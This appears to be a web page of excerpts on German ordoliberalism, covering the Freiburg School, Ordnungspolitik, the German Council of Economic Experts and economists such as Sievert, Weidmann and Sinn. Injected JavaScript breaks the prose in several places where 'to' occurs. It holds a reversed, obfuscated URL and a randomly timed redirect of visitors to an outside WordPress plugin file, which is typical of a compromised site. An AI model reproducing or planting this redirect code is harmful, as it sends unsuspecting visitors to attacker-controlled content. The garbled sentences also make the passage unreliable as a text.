Excerpts:
Ordoliberalism originates from the so-called “Freiburg School” of the 1930s, a research programme at Freiburg University led by economist Walter Eucken ansd law scholar Franz Böhm.

Today, Ordnungspolitik is perceived as the conviction that “the principal means by which economic policy can seek toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to improve ‘the economy’is by improving the institutional framework within which economic activities take place”.
From this perspective, Ordnungspolitik is by no means a specific normative programme for economic policy; it is rather a way of addressing economic policy reform on the level of rules.
It is this particular perspective on economic policy that has a long-standing tradition among German economists. The German Council of Economic Experts provides a good example.
Established in 1963 under Ludwig Erhard, then Minister of Economic Affairs, the GCEE came toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to play an important role in economic debates. Despite the changing macroeconomic paradigms, Olaf Sievert, a long-time member and former chairman of the GCEE, emphasizes that the council has always focused on the microeconomic foundations of economic activity as well as on ordoliberal – rather than interventionist – policy-making.
Other prominent examples of German economists who argue in favour of Ordnungspolitik include for instance the members the Bundesbank – exemplified by their past presidents such as Hans Tietmeyer and their current president Jens Weidmann – as well as Hans-Werner Sinn, who reasoned at the height of the financial crisis that the US needed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to subject their banks toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a strong regulatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tory framework in the ordoliberal tradition.
